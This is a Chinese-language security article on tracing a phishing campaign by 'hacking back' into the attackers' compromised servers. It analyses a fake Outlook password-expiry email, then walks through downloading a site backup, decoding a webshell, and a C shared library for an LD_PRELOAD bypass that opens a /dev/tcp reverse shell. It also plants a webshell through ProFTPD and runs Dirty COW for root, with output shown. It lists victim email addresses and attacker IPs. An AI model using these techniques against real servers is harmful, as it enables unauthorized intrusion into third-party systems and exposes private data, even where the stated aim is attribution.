红队技术在溯源场景中的应用一、引言据统计,约92%的数据泄露事件与社会工程学事件和网络钓鱼攻击有关。近年来钓鱼攻击已经成为了APT定向威胁攻击的首要入口,黑客通过诱导受害者点击恶意链接,窃取登陆凭证,或是利用木马感染受害者电脑。以此作为跳板进而入侵企业内网,威胁企业业务安全和敏感数据。本文结合案例介绍如何在溯源场景中加入红队技术,通过反制手段抽丝剥茧,从海量的样本数据中提取有效的关键信息,一步一步还原邮件钓鱼攻击手法和背后的黑客组织信息。二、钓鱼分类2.1 按照攻击方式分类普通式钓鱼攻击(大范围撒网):这种企图从电子通信中获取用户名、密码和钱包号等个人信息的犯罪诈骗行为,其本质上是社会工程攻击。鱼叉式钓鱼攻击(精准攻击):针对机构、大型企业、银行或有影响力的人群。攻击者会精心构造邮件主题、邮件内容及附带的文档名,使其极具欺骗性、迷惑性。鱼叉式钓鱼攻击常见于APT攻击(定向威胁攻击)。2.2 按照邮件内容分类正文插入恶意链接恶意链接背后可能是假冒的网站,例如企业业务系统登陆入口。或是恶意附件下载链接,例如伪造Flash升级下载、SSLVPN客户端下载等。亦或是使用可信第三方中转站点放置载荷等,例如主流网盘。这是目前攻击成本最低也是最常见的一种攻击方式。附件藏毒附加包含带恶意代码的Office宏文档、伪装图片、压缩包、可执行程序等,一旦受害者执行,则被攻击者远程控制电脑。0day/Nday漏洞攻击攻击者需要精准识别受害者终端软件的版本信息,利用如浏览器、Office、PDF等常用软件的0day/Nday漏洞进行定向攻击,这类攻击成本最高,常见于高级别APT定向威胁攻击中。三、信息收集黑客团伙基于成本和隐匿的考量,通常使用肉鸡来构建基础设施,例如跳板代理、邮件服务器、伪装的钓鱼网站等。首先我们简单了解一下邮件头常用的字段。3.1 邮件头信息解释(1)Received:路由信息,记录了邮件传递过程。(2)Data:表示邮件建立的时间,既不是发送时间也不是接收时间,是邮件发送方创建邮件的时间。(3)From:表示一个或多个邮件的作者,显示在正文的发件人。由发件方编辑,例如发垃圾的就会将此字段编辑成不存在的地址;发诈骗邮件的就会将此字段编辑成被冒充的邮件地址。(4)To:表示邮件的接收地址。(5)CC:表示抄送的邮件地址。(6)BCC:表示密送的邮件地址。(7)Subject:表示邮件的主题。(8)Sender:表示邮件的实际投递者(只能是一个),一般由收件方添加,邮件服务商在收到邮件后会将邮件会话里面的实际投递者与信头From字段标识的发件这进行比较,如不一致则在信头下方加入Sender字段标识邮件实际投递者,但这个字段也可由发件方决定的(from 和 sender 不一致的情况下部分邮件服务商会有代发标识)。(9)Reply-to:表示回复地址,由发件方编辑,希望收件人回复邮件时回复到指定的地址。一般情况下,如不额外添加Reply-to字段,收件人回复邮件时,将回复到原邮件From字段标识的地址。(10)MIME-Version:表示MIME的版本。(11)Content-Type:标识了邮件内容的格式。(12)Return-path:标识指定的退信地址,一般情况下,不添加Return-path字段,退信默认退到Sender标识的地址。当Sender和From一致时,退信默认退到From标识的地址。3.2 邮件内容分析接下来我们以“邮件正文插入钓鱼链接”为例,攻击者针对企业常见的Web邮件系统,通常以过期修改密码的名义钓鱼。下图来自真实案例中一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:将这封钓鱼邮件导出为.eml格式,从源码我们可以看到邮件内容由邮件头和邮件体组成。// 邮件头1Received: from sysmailout1.platon.sk (unknown [85.248.228.17]) by bizmx16..com (NewMx) with SMTP id for ; Thu, 29 Nov 2018 06:56:41 +0800X--SPAM: trueX--FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0 PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w 1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==X--MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM 4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK yGbgfv5Gx9Qr65abnNzXymg=X--mid: bizmx16tti4ex7suwX--CSender: [email protected]: [email protected]:bizmxp6tt9ne878suReceived: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150]) by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCCE for ; Wed, 28 Nov 2018 23:56:38 +0100 (CET)Received: by m7web1.platon.sk (Postfix, from userid 33) id A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)To: [email protected]: =?UTF-8?Q?Password_expiry_notice?=Date: Wed, 28 Nov 2018 23:56:38 +0100From: =?UTF-8?Q?Microsoft_Online_Services_Team?=Message-ID:<[email protected]>X-Priority: 3MIME-Version: 1.0Content-Transfer-Encoding: quoted-printableContent-Type: text/html; charset="us-ascii"略......// 邮件体 The password for the Microsoft 365 account [email protected] hasexpired.![mir-nc.png-57.1kB][2]To protect your Microsoft =account, your existing password may cease to workshortly.You are now required to <a hre=f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=test.cn">changeyour passwordimmediateIy. =2E<a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/[email protected]略......3.3 钓鱼网站信息收集我们从邮件头和邮件体中获得以下关键信息。钓鱼网站:[www.rosturplast.com(137.74.81.5 法国)钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/[email protected]发件地址:[email protected]服务商:Platon Technologies, s.r.o (斯洛伐克) SMTP:sysmailout1.platon.sk (85.248.228.17 斯洛伐克)四、钓鱼网站漏洞分析4.1 钓鱼页面分析目标网站:www.rosturplast.com访问钓鱼链接,可以看到这是一个伪造OWA修改密码的页面,我们按照正常流程随便输入一个密码。页面提示密码错误,这是一个烟雾弹,故意让受害者二次输入,这么做可以提高准确率。通常表单提交的地方我们可以尝试SQL注入或者插入XSS。前提是钓鱼网站使用数据库来存放密码。一般使用开源CMS二次开发的钓鱼网站多见于国内的黑产团伙,并且这类二开的程序安全性往往不高。抓包如下: SQL注入、跨站都不存在,攻击者由于使用的是肉鸡服务器,猜测程序是以文本的方式收集密码。访问首页,看到这是一家俄罗斯的塑料水管公司,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。假设攻击者入侵这家公司后再针对这家公司员工发动精准钓鱼攻击,成功率估计会非常高。4.2 傀儡网站漏洞分析下一步我们尝试寻找攻击者利用的漏洞,通过端口扫描和Web漏洞扫描,得到沦陷主机信息。[+] HOST: www.rosturplast.com (137.74.81.5 法国)[+] OS: Red Hat 4.8[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16[+] CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)通过扫描发现,网站使用的CMS是Joomla 3.3.3,这个版本我们可以尝试利用CVE-2016-9838漏洞获得网站权限,实际测试后发现,攻击者在入侵网站后已经悄然修复了漏洞。虽然漏洞被堵住了,但是我们还有三个思路:扫目录/备份文件旁站C段这里我们通过字典整合Joomla目录盲扫备份文件,最后发现网站存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。从这个文件名信息判断,攻击者极有可能根据域名+日期来备份整站文件,我们根据域名+日期尝试遍历文件名下载。脚本遍历2015年12月~2018年12月,当到达2017-08-07的时候,发现文件大小为177M,解压后果然是整站备份文件。接下来我们通过控制MySQL获得了后台登陆密码,并拿到了攻击者的钓鱼程序样本、后门文件、访问IP,以及受害者信息等。这些信息对于后面我们进行漏洞分析以及证据关联起到至关重要的作用。4.3 日志分析我们通过分析Web访问日志,找到了频繁访问钓鱼程序的具体IP,这个IP大概率就是攻击者的IP。当然我们还可以通过日志拿到攻击者的User Agent信息。查询攻击者IP地址 ⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" {print $2} |awk {a[$1]+=1;} END {for(i in a){print a[i]" "i;}} |sort -t " " -k 1 -n -r >ip.txt26 174.85.145.9920 50.73.252.16910 213.233.104.1202 207.228.149.692 195.211.23.2072 129.205.113.8 ⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 174.85.145.99 来自: 美国IP: 50.73.252.169 来自: 美国IP: 213.233.104.120 来自: 罗马尼亚IP: 207.228.149.69 来自: 百慕大IP: 195.211.23.207 来自: 俄罗斯IP: 129.205.113.8 来自: 尼日利亚 ⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" {print $2 $6} |sort |uniq 129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"通过日志匹配邮箱并去重得到受害者邮箱地址通过受害者信息我们可以大致了解到攻击者针对的目标是金融和科技公司。egrep [0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+ * | awk -F "\"" {print $2} |awk -F "HTTP" {print $1} |awk -F "ml=" {print $2} |sort |uniq ⚡ root@kali /tmp egrep [0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+ * | awk -F "\"" {print $2} |awk -F "HTTP" {print $1} |awk -F "ml=" {print $2} |sort |[email protected] //攻击者邮箱 [email protected] //利比亚发展投行[email protected] //域名失效[email protected] //新加坡IT基础设施提供商员工[email protected] //美国SS&C Technologies, Inc. (印度分公司)[email protected] //攻击者邮箱******@******.com //同事[email protected] //马来西亚联昌国际银行员工[email protected] //新加坡立信会计师事务所员工[email protected] //未知[email protected] //深圳市很有蜂格网络科技有限公司[email protected] //美国SS&C Technologies, [email protected] //美国SS&C Technologies, Inc.(疑似顺为资本)[email protected] //无效五、邮件服务器漏洞分析攻击者为了隐匿行踪,同样会使用肉鸡来发送邮件,因此想要确定攻击者身份,我们还需要进一步分析发件地址,追踪发现,这个地址来自一个博客。5.1 漏洞分析服务器信息如下:[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克)[+] OS: Debian 7[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16[+] CMS: Joomla 1.5通过漏洞扫描发现发件服务器存在大量漏洞,但是没有一个可以利用,猜测是攻击者已经做了修复。一般到这里只能尝试旁站或者C段渗透了。但我们通过攻击者的行为分析,猜测这类利用通用漏洞批量入侵的黑客团伙,一般使用相同后门或者文件名。于是我们根据前面获取的后门去匹配当前网站,发现了相同后门。⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum * 724eea1f449f38a28f642c 406.php3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaaaaf775b99997c166ffd809de an.phpe5c06f1f66781ba5c39dc4cd47 a.txtf71adb125d155b6fb8 bacu.phpf2d7553b97d8e0a0258e48c3ca42a7d2 baer.phpc01a0691c484a8d00977a100d8706b50 cfg.phpe5c06f1f66781ba5c39dc4cd47 config.phpmd5sum: logon.secureaccess: 是一个目录983ba05973b84e33e76916ca0dabedec new2bug.txt1c014f955a67974dcc13162f1a priv8.php2a73dda7ebb3b8d1c0d094b79623e9ff setup.php80b5dadd0a9856f1e6dd24e switch-security.php48f50fbe0ae82f3f2db4e26247 unzipper.php51f0bba7ec30b8778dca19ead016a58f webapp365.zip58d1d66c0be02522b1b52 wso.php相同文件名如下http://www.mirohaviar.sk/config.phphttp://www.mirohaviar.sk/an.phphttp://www.mirohaviar.sk/bacu.php Pro Mailer V25.2 解密Webshell其中 是攻击者的加密Webshell,我们通过解密后门获得了登陆密码。解密过程如下awk -F "\"" {print $2} config.php//去除头尾多余字符,得到base64密文。awk -F "\"" {print $2} config.php| base64 -d -i|awk -F "\"" {print $2} |sed s/\\x//g |tr -d \\//第一次base64解码,得到16进制密文awk -F "\"" {print $2} config.php| base64 -d -i|awk -F "\"" {print $2} |sed s/\\x//g |tr -d \\ |xxd -r -p//第二次hex解码,得到base64密文awk -F "\"" {print $2} config.php| base64 -d -i|awk -F "\"" {print $2} |sed s/\\x//g |tr -d \\ |xxd -r -p |base64 -d -i |awk -F "\"" {print $2}//第三次base64解码,得到base64密文awk -F "\"" {print $2} config.php| base64 -d -i|awk -F "\"" {print $2} |sed s/\\x//g |tr -d \\ |xxd -r -p |base64 -d -i |awk -F "\"" {print $2} |base64 -d -i |awk -F "\"" {print $2}//第四次base64解码,得到base64密文awk -F "\"" {print $2} config.php| base64 -d -i|awk -F "\"" {print $2} |sed s/\\x//g |tr -d \\ |xxd -r -p |base64 -d -i |awk -F "\"" {print $2} |base64 -d -i |awk -F "\"" {print $2} |base64 -d -i//第五次base64解码,得到明文5.3 提权分析我们的目的是溯源攻击者,最重要是拿到网站的访问日志,但是当前的Webshell只有普通web权限(www-data)且受到了disable_function 和 openbasedir 的限制,因此无法跨目录和执行命令。此时我们需要将Webshell反弹到外网的VPS上,进一步提升权限。disable_functions:escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec open_basedir: /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/5.4 突破 disable_functions这里我们利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。查看sendmail函数在执行过程中动态调用哪些标准库函数。www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmailSymbol table .dynsym contains 420 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000 0 NOTYPE LOCAL DEFAULT UND 1: 00000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2) 2: 00000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3) 3: 00000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4) 4: 00000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5) 5: 00000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5) 6: 00000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3) 7: 00000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5) 8: 00000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3) ...... 76: 00000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3) 77: 00000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)从中选取geteuid函数进行测试,编写动态链接程序bypass.c#include#include #includevoid payload() { system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");} int geteuid() {if(getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}当这个共享库中的geteuid被调用时,就会加载payload()函数,执行命令调用system向我们的外网IP执行反弹shell。通过反弹shell我们已经突破了disable_function 和 openbasedir 限制,可以访问Web目录和数据库,令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。5.5 新的线索在进一步信息收集的过程中,我们在/tmp目录下面发现了一个有趣的日志文件。[/tmp/]$cat w--2018-11-26 04:49:06-- /cacat/mm.tgzConnecting to 187.85.134.4:80... connected.HTTP request sent, awaiting response... 200 OKLength: (751K) [application/x-gzip]Saving to: mm.tgz 0K .......... .......... .......... .......... .......... 6% 174K 4s 50K .......... .......... .......... .......... .......... 13% 176K 4s 100K .......... .......... .......... .......... .......... 19% 14.1M 2s 150K .......... .......... .......... .......... .......... 26% 353K 2s 200K .......... .......... .......... .......... .......... 33% 353K 2s 250K .......... .......... .......... .......... .......... 39% 19.8M 1s 300K .......... .......... .......... .......... .......... 46% 355K 1s 350K .......... .......... .......... .......... .......... 53% 28.7M 1s 400K .......... .......... .......... .......... .......... 59% 23.6M 1s 450K .......... .......... .......... .......... .......... 66% 344K 1s 500K .......... .......... .......... .......... .......... 73% 18.0M 0s 550K .......... .......... .......... .......... .......... 79% 360K 0s 600K .......... .......... .......... .......... .......... 86% 20.4M 0s 650K .......... .......... .......... .......... .......... 93% 20.2M 0s 700K .......... .......... .......... .......... .......... 99% 12.7M 0s 750K . 100% 2438G=1.3s2018-11-26 04:49:10 (577 KB/s) - mm.tgz saved [/]5.6 GoogleHacking这里我们通过GoogleHacking 发现了攻击者已经删除的后门文件快照,从里面得到了攻击者所在的组织的信息。根据泄露日志,使用谷歌搜索关键字:,发现了一个已经被删除的历史页面。这是一个被删除的后门页面,我们进一步搜索一下这个后门参数的关键字:inurl:bc.php?filesrc=,得到了多条后门记录。其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber ,表明后门为这个黑客组织所有。进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。5.7 日志分析由于前面我们已经获得了攻击者的后门信息,我们依然使用同样的方法登陆这些被黑的网站,分析出攻击者IP和User Agent。根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。 ✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018攻击者代理IP:1212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" {print $2} |awk {a[$1]+=1;} END {for(i in a){print a[i]" "i;}} |sort |uniq148 197.211.61.82 (尼日利亚)8 178.128.221.199 (希腊) ⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" {print $2 $6} |sort |uniq178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"我们还在其中一个被入侵的网站上发现了其他的钓鱼程序。5.8 证据关联分析使用之前得到的后门文件中的关键字(config.php)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同,此时我们可以确认,这是同一伙人。 ⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" {print $1} ./rosturplast.com/www/rosturplast.com/shells/config.php./mirohaviar.sk/www/config.php./zebramedia.al/www/zebramedia.al/config.php./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php后门文件MD5⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" {print $1} |xargs md5sum e5c06f1f66781ba5c39dc4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.phpe5c06f1f66781ba5c39dc4cd47 ./mirohaviar.sk/www/config.phpe5c06f1f66781ba5c39dc4cd47 ./zebramedia.al/www/zebramedia.al/config.phpe5c06f1f66781ba5c39dc4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php六、傀儡服务器漏洞分析6.1 漏洞分析[+] HOST: 187.85.134.4(巴西)[+] OS: Ubuntu [+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19[+] CMS: 未知通过端口判断我们发现目标存在低版本ProFTPD漏洞,我们可以通过这个漏洞往Web目录写入一个Webshell。6.2 文件分析在Web目录下面发现用于发送钓鱼邮件的Perl脚本、邮件钓鱼样本、大量的邮箱地址、挖矿后门以及DDOS脚本等。我们分析发现这是一台承担主控作用的傀儡服务器,负责向肉鸡节点分发后门脚本和邮箱地址列表等。图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。6.3 僵尸网络程序6.4 邮箱地址统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址,这些都是攻击者准备钓鱼的目标。 ⚡ root@kali /tmp/187.85.134.4/www/cat wc -l *.txt 总用量主流邮箱检索⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20a.txt:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected] ⚡ root@kali /tmp/187.85.134.4/www/cat grep "@outlook.com" *.txt |head -n 20a.txt:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected] ⚡ root@kali /tmp/187.85.134.4/www/cat grep "@163.com" *.txt |head -n 20a.txt:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected]:[email protected] 提权分析我们最终的目的是追踪攻击者的IP,但是当前只有低权限的Webshell,无法访问Apache日志目录。为了解决权限问题,接下来我们尝试进一步提权。Linux提权大致分为以下几种:内核漏洞suid文件sudo过渡授权root运行的程序/可写脚本带缺陷的包、程序、服务corn任务计划[/var/www/]$ls -al /var/log/apache2/ls: cannot open directory /var/log/apache2/: Permission denied[/var/www/]$cat /etc/issueUbuntu 12.04.2 LTS \n \l[/var/www/]$uname -anLinux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013GNU/Linux这里我们直接使用内核漏洞提权,经过本地测试发现 CVE-2013-2094、CVE-2013-1763 由于依赖关系会导致提权失败。脏牛(CVE-2016-5195)是近年来比较流行的内核提权漏洞,而目标正好在脏牛的影响范围之内。我们通过脏牛提权成功获得了傀儡服务器的最高权限。www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthreadwww-data@medidor2:/tmp$ lshellowww-data@medidor2:/tmp$ chmod +x hellowww-data@medidor2:/tmp$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@medidor2:/tmp$ ./hello[*] range: b7573000-b7716000][*] getuid = b762bd10[*] mmap 0xb73cb000[*] exploiting (patch)[*] patched (madviseThread)[*] patched (procselfmemThread)root@medidor2:/tmp# [*] exploiting (unpatch)[*] unpatched: uid=33 (madviseThread)[*] unpatched: uid=33 (procselfmemThread)root@medidor2:/tmp# iduid=0(root) gid=0(root) groups=0(root)特别说明的是,任何提权测试都需要在本地环境进行多次的严格测试,确认无异常后方可对目标使用。6.6 日志分析分析IP访问情况⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" {print $2} |awk {a[$1]+=1;} END {for(i in a){print a[i]" "i;}} |sort -t " " -k 1 -n -r >ip.txt95 185.56.80.13877 197.211.60.5270 67.71.3.859 207.35.210.3541 99.226.207.4641 193.215.40.23839 197.211.59.16338 82.61.95.13238 66.249.73.9537 76.26.34.18137 197.234.221.7731 105.112.27.6029 105.112.23.4120 109.166.138.6816 66.249.79.6116 197.211.61.1814 212.100.77.19112 197.234.221.2108 66.249.79.358 66.249.73.647 154.118.69.1655 66.249.73.67...... ⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 185.56.80.138 来自: 荷兰IP: 197.211.60.52 来自: 尼日利亚IP: 67.71.3.8 来自: 加拿大IP: 207.35.210.35 来自: 加拿大IP: 99.226.207.46 来自: 加拿大IP: 193.215.40.238 来自: 挪威IP: 197.211.59.163 来自: 尼日利亚IP: 82.61.95.132 来自: 意大利IP: 66.249.73.95 来自: Google 骨干网IP: 76.26.34.181 来自: 美国IP: 197.234.221.77 来自: 贝宁IP: 105.112.27.60 来自: 尼日利亚IP: 105.112.23.41 来自: 尼日利亚IP: 109.166.138.68 来自: 罗马尼亚IP: 66.249.79.61 来自: Google 骨干网IP: 197.211.61.18 来自: 尼日利亚IP: 212.100.77.191 来自: 尼日利亚IP: 197.234.221.210 来自: 贝宁IP: 66.249.79.35 来自: Google 骨干网IP: 66.249.73.64 来自: Google 骨干网IP: 154.118.69.165 来自: 尼日利亚IP: 66.249.73.67 来自: Google 骨干网......根据路径名判断,得到受害者IP。 ⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" {print $2 $6} |sort |uniq109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"196.52.34.20 - - [12/Oct/.0) Gecko/ Firefox/35.0"207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"查看web目录下txt文件访问情况,发现总共有一万多个IP,包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。grep "/cacat/" * |grep "txt" | awk -F ":" {print $2} |awk {a[$1]+=1;} END {for(i in a){print a[i]" "i;}} |sort -t " " -k 1 -n -r >ip.txt ⚡ root@kali ~/Desktop wc -l ip.txt 10101 ip.txt七、信息汇总7.1 受害者地区分布图我们需要一个热力图来展示受害者的地区分布情况,将受害者IP转换成经纬度坐标,再通过地图API生成热力图即可。如图所示,受害者主要分布在欧洲和亚洲。7.2 黑客组织信息我们通过观察发现,早期的中东黑客热衷于通过涂改网站首页宣传自己。这一点跟国内早期离散状态的黑客极为相似,都以炫技为目的。后期这些黑客逐渐由单兵作战状态演变为有组织有目的的黑客组织,攻击目标也由随机目标转向以美国政府以及关联组织为主。这种通过网络攻击行为表达某种政治诉求方式,随着中东局势的变化而波动。这次溯源的黑客组织从早期到中期的演进也符合这个规律,后期的攻击目的多与金钱有关,攻击目标转向了金融和科技公司雇员和欧洲银行客户,攻击手法多为大面积撒网式钓鱼攻击。名称:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber地区:巴勒斯坦成员ID:Hawk_B404 MR.S1NS_Y koneksi eror GU3LT03M SinonX ./B4Z1R007 ./Bl4ckJ4ck anon99husein 4GottenName Gantai 4nzeL4 AKEMI403历史邮箱:[email protected]@[email protected]@[email protected]@[email protected]组织主页:http://mujahidincyberarmy.blogspot.com/https://www.facebook.com/FamilyAttackCyberOfficial/7.3 攻击手段Web入侵、邮件钓鱼攻击、DDOS攻击攻击目标:美国政府机构、欧洲银行客户、亚洲金融机构,科技公司雇员傀儡服务器:187.85.134.4常用后门:略7.4 攻击历史美国联邦调查局、美国国土安全部、美国司法部巴勒斯坦黑客公布大约2万名联邦调查局(FBI)和9千名国土安全部(DHS)官员的个人信息通过钓鱼邮件获得美国司法部权限7.5 代理IP174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; 